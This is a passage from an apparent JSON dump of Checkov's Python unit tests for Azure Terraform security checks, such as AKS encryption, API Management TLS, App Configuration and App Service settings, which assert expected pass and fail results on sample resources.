   def test_failure4(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n\n                  azure_policy_enabled = false\n\n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n\n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n\n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                  \n                  addon_profile {\n                    azure_policy {\n                      enabled = true\n                    }\n                  }\n\n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n\n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n\n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                  \n                  azure_policy_enabled = true\n\n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n                \n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSUsesDiskEncryptionSet.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AKSUsesDiskEncryptionSet import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAKSUsesDiskEncryptionSet(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_kubernetes_cluster\" \"example\" {\n              name                = \"example-aks1\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              dns_prefix          = \"exampleaks1\"\n            \n              default_node_pool {\n                name       = \"default\"\n                node_count = 1\n                vm_size    = \"Standard_D2_v2\"\n              }\n            \n              identity {\n                type = \"SystemAssigned\"\n              }\n            \n              tags = {\n                Environment = \"Production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_kubernetes_cluster\" \"example\" {\n              name                = \"example-aks1\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              dns_prefix          = \"exampleaks1\"\n              disk_encryption_set_id = \"someId\"\n              \n              default_node_pool {\n                name       = \"default\"\n                node_count = 1\n                vm_size    = \"Standard_D2_v2\"\n              }\n            \n              identity {\n                type = \"SystemAssigned\"\n              }\n            \n              tags = {\n                Environment = \"Production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_APIManagementBackendHTTPS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.APIManagementBackendHTTPS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIManagementBackendHTTPS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementBackendHTTPS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_api_management_backend.pass\",\n        }\n\n        failing_resources = {\n            \"azurerm_api_management_backend.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_APIManagementCertsEnforced.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.APIManagementCertsEnforced import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIManagementCertsEnforced(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementCertsEnforced\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_api_management.pass\",\n        }\n\n        failing_resources = {\n            \"azurerm_api_management.fail\",\n            \"azurerm_api_management.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_APIManagementMinTLS12.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.APIManagementMinTLS12 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIManagementMinTLS12(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementMinTLS12\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_api_management.pass\",\n        }\n\n        failing_resources = {\n            \"azurerm_api_management.fail\",\n            \"azurerm_api_management.fail2\",\n            \"azurerm_api_management.fail3\",\n            \"azurerm_api_management.fail4\",\n            \"azurerm_api_management.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passed_check_resources))\n        self.assertEqual(summary[\"failed\"], len(failed_check_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_APIManagementPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.APIManagementPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIManagementPublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementPublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_api_management.pass\",\n        }\n\n        failing_resources = {\n            \"azurerm_api_management.fail\",\n            \"azurerm_api_management.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_APIServicesUseVirtualNetwork.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.APIServicesUseVirtualNetwork import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAPIServicesUseVirtualNetwork(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_api_management\" \"example\" {\n                  name                = \"example-apim\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  publisher_name      = \"My Company\"\n                  publisher_email     = \"company@terraform.io\"\n                \n                  sku_name = \"Developer_1\"\n                \n                  policy {\n                    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n                \n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_api_management']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_api_management\" \"example\" {\n                  name                = \"example-apim\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  publisher_name      = \"My Company\"\n                  publisher_email     = \"company@terraform.io\"\n                \n                  sku_name = \"Developer_1\"\n                  virtual_network_configuration {\n                    subnet_id = azure_subnet.subnet_not_public_ip.id\n                  }\n                  policy {\n                    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n                \n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_api_management']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ActiveDirectoryUsedAuthenticationServiceFabric.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.ActiveDirectoryUsedAuthenticationServiceFabric import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestActiveDirectoryUsedAuthenticationServiceFabric(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_service_fabric_cluster\" \"example\" {\n              name                 = \"example-servicefabric\"\n              resource_group_name  = azurerm_resource_group.example.name\n              location             = azurerm_resource_group.example.location\n              reliability_level    = \"Bronze\"\n              upgrade_mode         = \"Manual\"\n              cluster_code_version = \"7.1.456.959\"\n              vm_image             = \"Windows\"\n              management_endpoint  = \"https://example:80\"\n            \n              node_type {\n                name                 = \"first\"\n                instance_count       = 3\n                is_primary           = true\n                client_endpoint_port = 2020\n                http_endpoint_port   = 80\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_service_fabric_cluster\" \"example\" {\n              name                 = \"example-servicefabric\"\n              resource_group_name  = azurerm_resource_group.example.name\n              location             = azurerm_resource_group.example.location\n              reliability_level    = \"Bronze\"\n              upgrade_mode         = \"Manual\"\n              cluster_code_version = \"7.1.456.959\"\n              vm_image             = \"Windows\"\n              management_endpoint  = \"https://example:80\"\n              azure_active_directory {\n                tenant_id = \"tenant\"\n              }\n              node_type {\n                name                 = \"first\"\n                instance_count       = 3\n                is_primary           = true\n                client_endpoint_port = 2020\n                http_endpoint_port   = 80\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppConfigEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppConfigEncryption import check\n\n\nclass TestAppConfigEncryption(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppConfigEncryption\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_configuration.pass'\n        }\n        failing_resources = {\n            'azurerm_app_configuration.fail',\n            'azurerm_app_configuration.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppConfigLocalAuth.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppConfigLocalAuth import check\n\n\nclass TestAppConfigLocalAuth(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppConfigLocalAuth\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_configuration.pass'\n        }\n        failing_resources = {\n            'azurerm_app_configuration.fail',\n            'azurerm_app_configuration.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppConfigPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppConfigPublicAccess import check\n\n\nclass TestAppConfigPublicAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppConfigPublicAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_configuration.pass'\n        }\n        failing_resources = {\n            'azurerm_app_configuration.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppConfigPurgeProtection.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppConfigPurgeProtection import check\n\n\nclass TestAppConfigPurgeProtection(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppConfigPurgeProtection\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_configuration.pass'\n        }\n        failing_resources = {\n            'azurerm_app_configuration.fail',\n            'azurerm_app_configuration.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppConfigSku.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppConfigSku import check\n\n\nclass TestAppConfigSku(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppConfigSku\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_configuration.pass'\n        }\n        failing_resources = {\n            'azurerm_app_configuration.fail',\n            'azurerm_app_configuration.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppGWDefinesSecureProtocols.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppGWDefinesSecureProtocols import check\n\n\nclass TestAppGWDefinesSecureProtocols(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppGWDefinesSecureProtocols\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_application_gateway.pass',\n            'azurerm_application_gateway.pass2',\n            'azurerm_application_gateway.pass_dynamic_bug'\n        }\n        failing_resources = {\n            'azurerm_application_gateway.fail',\n            'azurerm_application_gateway.fail2',\n            'azurerm_application_gateway.fail3',\n            'azurerm_application_gateway.fail4',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppGWUsesHttps.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppGWUsesHttps import check\n\n\nclass TestAppGWUsesHttps(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppGWUsesHttps\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_application_gateway.pass'\n        }\n        failing_resources = {\n            'azurerm_application_gateway.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppGatewayWAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppGatewayWAFACLCVE202144228 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppGatewayWAFACLCVE202144228(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppGatewayWAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_web_application_firewall_policy.owasp_3_1_default\",\n            \"azurerm_web_application_firewall_policy.owasp_3_2_default\",\n            \"azurerm_web_application_firewall_policy.version_3_1_default\",\n            \"azurerm_web_application_firewall_policy.owasp_3_1_disabled_different\",\n            \"azurerm_web_application_firewall_policy.empty_disabled_rules\"\n        }\n        failing_resources = {\n            \"azurerm_web_application_firewall_policy.owasp_3_0\",\n            \"azurerm_web_application_firewall_policy.owasp_3_1_disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n        # check especially for the evaluated keys\n        actual_evaluated_keys = next(\n            c.check_result[\"evaluated_keys\"]\n            for c in report.failed_checks\n            if c.resource == \"azurerm_web_application_firewall_policy.owasp_3_1_disabled\"\n        )\n        expected_evaluated_keys = [\n            \"managed_rules/[0]/managed_rule_set[0]/type\",\n            \"managed_rules/[0]/managed_rule_set[0]/version\",\n            \"managed_rules/[0]/managed_rule_set[0]/rule_group_override/[0]/rule_group_name\",\n            \"managed_rules/[0]/managed_rule_set[0]/rule_group_override/[0]/disabled_rules\",\n        ]\n        self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceAlwaysOn.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceAlwaysOn import check\n\n\nclass TestAppServiceAlwaysOn(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceAlwaysOn\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_linux_web_app.pass',\n            'azurerm_linux_web_app.pass2',\n            'azurerm_windows_web_app.pass',\n            'azurerm_windows_web_app.pass2',\n        }\n        failing_resources = {\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceAuthentication.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceAuthentication import check\n\n\nclass TestAppServiceAuthentication(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceAuthentication\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n            'azurerm_windows_web_app.pass2',\n            'azurerm_linux_web_app.pass2',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n            'azurerm_windows_web_app.fail2',\n            'azurerm_linux_web_app.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceClientCertificate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceClientCertificate import check\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceClientCertificate\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass'\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n            'azurerm_windows_web_app.fail2',\n            'azurerm_linux_web_app.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceDetailedErrorMessagesEnabled.py",
